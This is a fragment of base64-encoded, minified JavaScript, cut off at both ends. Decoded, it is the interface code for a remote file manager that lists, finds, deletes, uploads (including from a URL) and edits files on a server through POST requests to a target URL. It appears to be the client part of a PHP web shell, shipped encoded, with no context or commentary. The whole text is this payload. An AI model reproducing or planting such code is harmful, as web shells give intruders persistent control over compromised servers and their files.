ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyl9KX1mdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyKCl7dGl0bGU9IlZpZXcgRmlsZSAvIEZvbGRlciI7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd2aWV3RmlsZW9yRm9sZGVyJyB2YWx1ZT0nIitodG1sX3NhZmUoZ2V0X2N3ZCgpKSsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAndmlld2ZpbGVvcmZvbGRlcl9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J3ZpZXdmaWxlb3Jmb2xkZXJfZ28oKTsnPnZpZXc8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh0aXRsZSxjb250ZW50KX1mdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyX2dvKCl7ZW50cnk9JCgnLnZpZXdGaWxlb3JGb2xkZXInKS52YWwoKTtzZW5kX3Bvc3Qoe3ZpZXdGaWxlb3JGb2xkZXI6ZW50cnl9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtpZihyZXM9PSdmaWxlJyl7dmlldyhlbnRyeSwnYXV0bycpO3Nob3dfdGFiKCdleHBsb3JlcicpfWVsc2UgaWYocmVzPT0nZm9sZGVyJyl7bmF2aWdhdGUoZW50cnkpO3Nob3dfdGFiKCdleHBsb3JlcicpfX19KX1mdW5jdGlvbiBkZWwocGF0aCl7dGl0bGU9IkRlbGV0ZSI7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+RGVsZXRlPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdkZWxldGUnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RlbGV0ZV9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J2RlbGV0ZV9nbygpOyc+ZGVsZXRlPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7c2hvd19ib3godGl0bGUsY29udGVudCl9ZnVuY3Rpb24gZGVsZXRlX2dvKCl7cGF0aD0kKCcuZGVsZXRlJykudmFsKCk7c2VuZF9wb3N0KHtkZWxldGU6cGF0aH0sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpe25hdmlnYXRlKHJlcyk7JCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKX1lbHNlICQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyl9KX1mdW5jdGlvbiBmaW5kKHBhdGgpe2ZpbmRmaWxlPSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRoZWFkPjx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5GaW5kIEZpbGU8L3A+PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5Pjx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5TZWFyY2ggaW48L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2ZpbmRmaWxlUGF0aCcgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZmluZF9nb19maWxlJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPkZpbGVuYW1lIGNvbnRhaW5zPC90ZD48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZGZpbGVGaWxlbmFtZScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZmlsZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlRmlsZW5hbWVSZWdleCc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlZ2V4PC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlRmlsZW5hbWVJbnNlbnNpdGl2ZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkNhc2UgSW5zZW5zaXRpdmU8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPkZpbGUgY29udGFpbnM8L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kZmlsZUNvbnRhaW5zJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZmluZF9nb19maWxlJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVDb250YWluc1JlZ2V4Jz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVnZXg8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVDb250YWluc0luc2Vuc2l0aXZlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+Q2FzZSBJbnNlbnNpdGl2ZTwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZD5QZXJtaXNzaW9uczwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlUmVhZGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5SZWFkYWJsZTwvc3Bhbj4mbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZVdyaXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+V3JpdGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVFeGVjdXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+RXhlY3V0YWJsZTwvc3Bhbj48L3RkPjwvdHI+PC90Ym9keT48dGZvb3Q+PHRyPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uIG5hdmJhcicgZGF0YS1wYXRoPSciK3BhdGgrIic+ZXhwbG9yZXI8L3NwYW4+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImZpbmRfZ29fZmlsZSgpO1wiPmZpbmQ8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J2ZpbmRmaWxlUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7ZmluZGZvbGRlcj0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0aGVhZD48dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+RmluZCBGb2xkZXI8L3A+PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5Pjx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5TZWFyY2ggaW48L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2ZpbmRGb2xkZXJQYXRoJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdmaW5kX2dvX2ZvbGRlcicpO1wiPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz5Gb2xkZXJuYW1lIGNvbnRhaW5zPC90ZD48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZEZvbGRlcm5hbWUnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdmaW5kX2dvX2ZvbGRlcicpO1wiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRGb2xkZXJuYW1lUmVnZXgnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5SZWdleDwvc3Bhbj4mbmJzcDsmbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kRm9sZGVybmFtZUluc2Vuc2l0aXZlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+Q2FzZSBJbnNlbnNpdGl2ZTwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZD5QZXJtaXNzaW9uczwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRSZWFkYWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlYWRhYmxlPC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRXcml0YWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPldyaXRhYmxlPC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRFeGVjdXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+RXhlY3V0YWJsZTwvc3Bhbj48L3RkPjwvdHI+PC90Ym9keT48dGZvb3Q+PHRyPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uIG5hdmJhcicgZGF0YS1wYXRoPSciK3BhdGgrIic+ZXhwbG9yZXI8L3NwYW4+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImZpbmRfZ29fZm9sZGVyKCk7XCI+ZmluZDwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0nZmluZFJlc3VsdCc+PC90ZD48L3RyPjwvdGZvb3Q+PC90YWJsZT4iOyQoJyNleHBsb3JlcicpLmh0bWwoIjxkaXYgaWQ9J3hwbFVwbG9hZCc+IitmaW5kZmlsZSsnPGJyPicrZmluZGZvbGRlcisnPC9kaXY+Jyk7Y2JveF9iaW5kKCd4cGxVcGxvYWQnKX1mdW5jdGlvbiBmaW5kX2dvX2ZpbGUoKXtmaW5kX2dvKCdmaWxlJyl9ZnVuY3Rpb24gZmluZF9nb19mb2xkZXIoKXtmaW5kX2dvKCdmb2xkZXInKX1mdW5jdGlvbiBmaW5kX2dvKGZpbmRUeXBlKXtmaW5kUGF0aD0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlUGF0aCcpLnZhbCgpOiQoJy5maW5kRm9sZGVyUGF0aCcpLnZhbCgpO2ZpbmRSZXN1bHQ9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZVJlc3VsdCcpOiQoJy5maW5kUmVzdWx0Jyk7ZmluZE5hbWU9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZUZpbGVuYW1lJykudmFsKCk6JCgnLmZpbmRGb2xkZXJuYW1lJykudmFsKCk7ZmluZE5hbWVSZWdleD0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlRmlsZW5hbWVSZWdleCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiQoJy5maW5kRm9sZGVybmFtZVJlZ2V4JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7ZmluZE5hbWVJbnNlbnNpdGl2ZT0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlRmlsZW5hbWVJbnNlbnNpdGl2ZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiQoJy5maW5kRm9sZGVybmFtZUluc2Vuc2l0aXZlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7ZmluZENvbnRlbnQ9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZUNvbnRhaW5zJykudmFsKCk6IiI7ZmluZENvbnRlbnRSZWdleD0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlQ29udGFpbnNSZWdleCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiO2ZpbmRDb250ZW50SW5zZW5zaXRpdmU9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZUNvbnRhaW5zSW5zZW5zaXRpdmUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKToiIjtmaW5kUmVhZGFibGU9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZVJlYWRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRXcml0YWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpO2ZpbmRXcml0YWJsZT0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlV3JpdGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZFJlYWRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7ZmluZEV4ZWN1dGFibGU9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZUV4ZWN1dGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZEV4ZWN1dGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTtzZW5kX3Bvc3Qoe2ZpbmRUeXBlOmZpbmRUeXBlLGZpbmRQYXRoOmZpbmRQYXRoLGZpbmROYW1lOmZpbmROYW1lLGZpbmROYW1lUmVnZXg6ZmluZE5hbWVSZWdleCxmaW5kTmFtZUluc2Vuc2l0aXZlOmZpbmROYW1lSW5zZW5zaXRpdmUsZmluZENvbnRlbnQ6ZmluZENvbnRlbnQsZmluZENvbnRlbnRSZWdleDpmaW5kQ29udGVudFJlZ2V4LGZpbmRDb250ZW50SW5zZW5zaXRpdmU6ZmluZENvbnRlbnRJbnNlbnNpdGl2ZSxmaW5kUmVhZGFibGU6ZmluZFJlYWRhYmxlLGZpbmRXcml0YWJsZTpmaW5kV3JpdGFibGUsZmluZEV4ZWN1dGFibGU6ZmluZEV4ZWN1dGFibGV9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtmaW5kUmVzdWx0Lmh0bWwocmVzKX19KX1mdW5jdGlvbiB1bF9nb19jb21wKCl7dWxfZ28oJ2NvbXAnKX1mdW5jdGlvbiB1bF9nb191cmwoKXt1bF9nbygndXJsJyl9ZnVuY3Rpb24gdWwocGF0aCl7dWxjb21wdXRlcj0iPHRhYmxlIGNsYXNzPSdib3h0YmwgdWxjb21wJz48dGhlYWQ+PHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPlVwbG9hZCBGcm9tIENvbXB1dGVyIDxhIG9uY2xpY2s9J3VsX2FkZF9jb21wKCk7Jz4oKyk8L2E+PC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keSBjbGFzcz0ndWxjb21wYWRkJz48L3Rib2R5Pjx0Zm9vdD48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24gbmF2YmFyJyBkYXRhLXBhdGg9JyIrcGF0aCsiJz5leHBsb3Jlcjwvc3Bhbj48L3RkPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwidWxfZ29fY29tcCgpO1wiPnVwbG9hZDwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0ndWxDb21wUmVzdWx0Jz48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48ZGl2IGlkPSd1bERyYWdORHJvcCc+T3IgRHJhZyBhbmQgRHJvcCBmaWxlcyBoZXJlPC9kaXY+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J3VsRHJhZ05Ecm9wUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7dWx1cmw9Ijx0YWJsZSBjbGFzcz0nYm94dGJsIHVsdXJsJz48dGhlYWQ+PHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPlVwbG9hZCBGcm9tIFVybCA8YSBvbmNsaWNrPSd1bF9hZGRfdXJsKCk7Jz4oKyk8L2E+PC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keSBjbGFzcz0ndWx1cmxhZGQnPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJ1bF9nb191cmwoKTtcIj51cGxvYWQ8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J3VsVXJsUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7Y29udGVudD11bGNvbXB1dGVyKyc8YnI+Jyt1bHVybCsiPGlucHV0IHR5cGU9J2hpZGRlbicgY2xhc3M9J3VsX3BhdGgnIHZhbHVlPSciK3BhdGgrIic+IjskKCcjZXhwbG9yZXInKS5odG1sKGNvbnRlbnQpO3VsX2FkZF9jb21wKCk7dWxfYWRkX3VybCgpOyQoJyN1bERyYWdORHJvcCcpLm9uKCdkcmFnZW50ZXInLGZ1bmN0aW9uKGUpe2Uuc3RvcFByb3BhZ2F0aW9uKCk7ZS5wcmV2ZW50RGVmYXVsdCgpfSk7JCgnI3VsRHJhZ05Ecm9wJykub24oJ2RyYWdvdmVyJyxmdW5jdGlvbihlKXtlLnN0b3BQcm9wYWdhdGlvbigpO2UucHJldmVudERlZmF1bHQoKX0pOyQoJyN1bERyYWdORHJvcCcpLm9uKCdkcm9wJyxmdW5jdGlvbihlKXtlLnN0b3BQcm9wYWdhdGlvbigpO2UucHJldmVudERlZmF1bHQoKTtmaWxlcz1lLnRhcmdldC5maWxlc3x8ZS5kYXRhVHJhbnNmZXIuZmlsZXM7dWxSZXN1bHQ9JCgnLnVsRHJhZ05Ecm9wUmVzdWx0Jyk7dWxSZXN1bHQuaHRtbCgnJyk7JC5lYWNoKGZpbGVzLGZ1bmN0aW9uKGkpe2lmKHRoaXMpe3VsVHlwZT0nRHJhZ05Ecm9wJztmaWxlbmFtZT10aGlzLm5hbWU7dmFyIGZvcm1EYXRhPW5ldyBGb3JtRGF0YSgpO2Zvcm1EYXRhLmFwcGVuZCgndWxGaWxlJyx0aGlzKTtmb3JtRGF0YS5hcHBlbmQoJ3VsU2F2ZVRvJyxnZXRfY3dkKCkpO2Zvcm1EYXRhLmFwcGVuZCgndWxGaWxlbmFtZScsZmlsZW5hbWUpO2Zvcm1EYXRhLmFwcGVuZCgndWxUeXBlJywnY29tcCcpO2VudHJ5PSI8cCBjbGFzcz0ndWxSZXMiK3VsVHlwZStpKyInPjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnIGNsYXNzPSd1bEZpbGVuYW1lIit1bFR5cGUraSsiJz4iK2ZpbGVuYW1lKyI8L2E+Jm5ic3A7PHNwYW4gY2xhc3M9J3VsUHJvZ3Jlc3MiK3VsVHlwZStpKyInPjwvc3Bhbj48L3A+Ijt1bFJlc3VsdC5hcHBlbmQoZW50cnkpO2lmKHRoaXMuc2l6ZTw9MCl7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoIGZhaWxlZCApJyk7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOyQoJy51bEZpbGVuYW1lJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsRmlsZW5hbWUnK3VsVHlwZStpKX1lbHNle3VsX3N0YXJ0KGZvcm1EYXRhLHVsVHlwZSxpKX19fSl9KX1mdW5jdGlvbiB1bF9hZGRfY29tcChwYXRoKXtwYXRoPWh0bWxfc2FmZSgkKCcudWxfcGF0aCcpLnZhbCgpKTskKCcudWxjb21wYWRkJykuYXBwZW5kKCI8dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+RmlsZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdmaWxlJyBjbGFzcz0ndWxGaWxlQ29tcCc+PC90ZD48L3RyPjx0cj48dGQ+U2F2ZSB0bzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxTYXZlVG9Db21wJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb19jb21wJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+RmlsZW5hbWUgKE9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxGaWxlbmFtZUNvbXAnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb19jb21wJyk7XCI+PC90ZD48L3RyPiIpfWZ1bmN0aW9uIHVsX2FkZF91cmwocGF0aCl7cGF0aD1odG1sX3NhZmUoJCgnLnVsX3BhdGgnKS52YWwoKSk7JCgnLnVsdXJsYWRkJykuYXBwZW5kKCI8dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+RmlsZSBVUkw8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3VsRmlsZVVybCcgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX3VybCcpO1wiPjwvdGQ+PC90cj48dHI+PHRkPlNhdmUgdG88L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3VsU2F2ZVRvVXJsJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb191cmwnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD5GaWxlbmFtZSAoT3B0aW9uYWwpPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bEZpbGVuYW1lVXJsJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAndWxfZ29fdXJsJyk7XCI+PC90ZD48L3RyPiIpfWZ1bmN0aW9uIHVsX3N0YXJ0KGZvcm1EYXRhLHVsVHlwZSxpKXtsb2FkaW5nX3N0YXJ0KCk7JC5hamF4KHt1cmw6dGFyZ2V0dXJsLHR5cGU6J1BPU1QnLGRhdGE6Zm9ybURhdGEsY2FjaGU6ZmFsc2UsY29udGVudFR5cGU6ZmFsc2UscHJvY2Vzc0RhdGE6ZmFsc2UseGhyOmZ1bmN0aW9uKCl7bXlYaHI9JC5hamF4U2V0dGluZ3MueGhyKCk7aWYobXlYaHIudXBsb2FkKXtteVhoci51cGxvYWQuYWRkRXZlbnRMaXN0ZW5lcigncHJvZ3Jlc3MnLGZ1bmN0aW9uKGUpe3BlcmNlbnQ9TWF0aC5mbG9vcihlLmxvYWRlZC9lLnRvdGFsKjEwMCk7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoICcrcGVyY2VudCsnJSApJyl9LGZhbHNlKX1yZXR1cm4gbXlYaHJ9LHN1Y2Nlc3M6ZnVuY3Rpb24ocmVzKXtpZihyZXMubWF0Y2goL1dhcm5pbmcuKlBPU1QuKkNvbnRlbnQtTGVuZ3RoLipvZi4qYnl0ZXMuKmV4Y2VlZHMuKnRoZS4qbGltaXQuKm9mLykpe3Jlcz0nZXJyb3InfWlmKHJlcz09J2Vycm9yJyl7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoIGZhaWxlZCApJyl9ZWxzZXskKCcudWxSZXMnK3VsVHlwZStpKS5odG1sKHJlcyl9bG9hZGluZ19zdG9wKCl9LGVycm9yOmZ1bmN0aW9uKCl7bG9hZGluZ19zdG9wKCk7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoIGZhaWxlZCApJyk7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOyQoJy51bEZpbGVuYW1lJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsRmlsZW5hbWUnK3VsVHlwZStpKX19KX1mdW5jdGlvbiB1bF9nbyh1bFR5cGUpe3VsRmlsZT0odWxUeXBlPT0nY29tcCcpPyQoJy51bEZpbGVDb21wJyk6JCgnLnVsRmlsZVVybCcpO3VsUmVzdWx0PSh1bFR5cGU9PSdjb21wJyk/JCgnLnVsQ29tcFJlc3VsdCcpOiQoJy51bFVybFJlc3VsdCcpO3VsUmVzdWx0Lmh0bWwoJycpO3VsRmlsZS5lYWNoKGZ1bmN0aW9uKGkpe2lmKCgodWxUeXBlPT0nY29tcCcpJiZ0aGlzLmZpbGVzWzBdKXx8KCh1bFR5cGU9PSd1cmwnKSYmKHRoaXMudmFsdWUhPScnKSkpe2ZpbGU9KHVsVHlwZT09J2NvbXAnKT90aGlzLmZpbGVzWzBdOnRoaXMudmFsdWU7ZmlsZW5hbWU9KHVsVHlwZT09J2NvbXAnKT9maWxlLm5hbWU6ZmlsZS5zdWJzdHJpbmcoZmlsZS5sYXN0SW5kZXhPZignLycpKzEpO3VsU2F2ZVRvPSh1bFR5cGU9PSdjb21wJyk/JCgnLnVsU2F2ZVRvQ29tcCcpW2ldLnZhbHVlOiQoJy51bFNhdmVUb1VybCcpW2ldLnZhbHVlO3VsRmlsZW5hbWU9KHVsVHlwZT09J2NvbXAnKT8kKCcudWxGaWxlbmFtZUNvbXAnKVtpXS52YWx1ZTokKCcudWxGaWxlbmFtZVVybCcpW2ldLnZhbHVlO3ZhciBmb3JtRGF0YT1uZXcgRm9ybURhdGEoKTtmb3JtRGF0YS5hcHBlbmQoJ3VsRmlsZScsZmlsZSk7Zm9ybURhdGEuYXBwZW5kKCd1bFNhdmVUbycsdWxTYXZlVG8pO2Zvcm1EYXRhLmFwcGVuZCgndWxGaWxlbmFtZScsdWxGaWxlbmFtZSk7Zm9ybURhdGEuYXBwZW5kKCd1bFR5cGUnLHVsVHlwZSk7ZW50cnk9IjxwIGNsYXNzPSd1bFJlcyIrdWxUeXBlK2krIic+PHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOycgY2xhc3M9J3VsRmlsZW5hbWUiK3VsVHlwZStpKyInPiIrZmlsZW5hbWUrIjwvYT4mbmJzcDs8c3BhbiBjbGFzcz0ndWxQcm9ncmVzcyIrdWxUeXBlK2krIic+PC9zcGFuPjwvcD4iO3VsUmVzdWx0LmFwcGVuZChlbnRyeSk7Y2hlY2s9dHJ1ZTtpZih1bFR5cGU9PSdjb21wJyl7Y2hlY2s9KGZpbGUuc2l6ZTw9MCl9ZWxzZSBjaGVjaz0oZmlsZT09IiIpO2lmKGNoZWNrKXskKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTskKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLnJlbW92ZUNsYXNzKCd1bFByb2dyZXNzJyt1bFR5cGUraSk7JCgnLnVsRmlsZW5hbWUnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxGaWxlbmFtZScrdWxUeXBlK2kpfWVsc2V7dWxfc3RhcnQoZm9ybURhdGEsdWxUeXBlLGkpfX19KX1mdW5jdGlvbiB0cmFwX2N0cmxfZW50ZXIoZWwsZSxjYWxsYmFjayl7aWYoZS5jdHJsS2V5JiYoZS5rZXlDb2RlPT0xMHx8ZS5rZXlDb2RlPT0xMykpe2lmKGNhbGxiYWNrIT1udWxsKXdpbmRvd1tjYWxsYmFja10oKX1maXhfdGFiY2hhcihlbCxlKX1mdW5jdGlvbiBlZGl0X3NhdmVfcmF3KCl7ZWRpdF9zYXZlKCdlZGl0Jyl9ZnVuY3Rpb24gZWRpdF9zYXZlX2hleCgpe2VkaXRfc2F2ZSgnaGV4Jyl9ZnVuY3Rpb24gZWRpdF9zYXZlKGVkaXRUeXBlKXtlZGl0RmlsZW5hbWU9JCgnI2VkaXRGaWxlbmFtZScpLnZhbCgpO2VkaXRJbnB1dD0kKCcjZWRpdElucHV0JykudmFsKCk7Z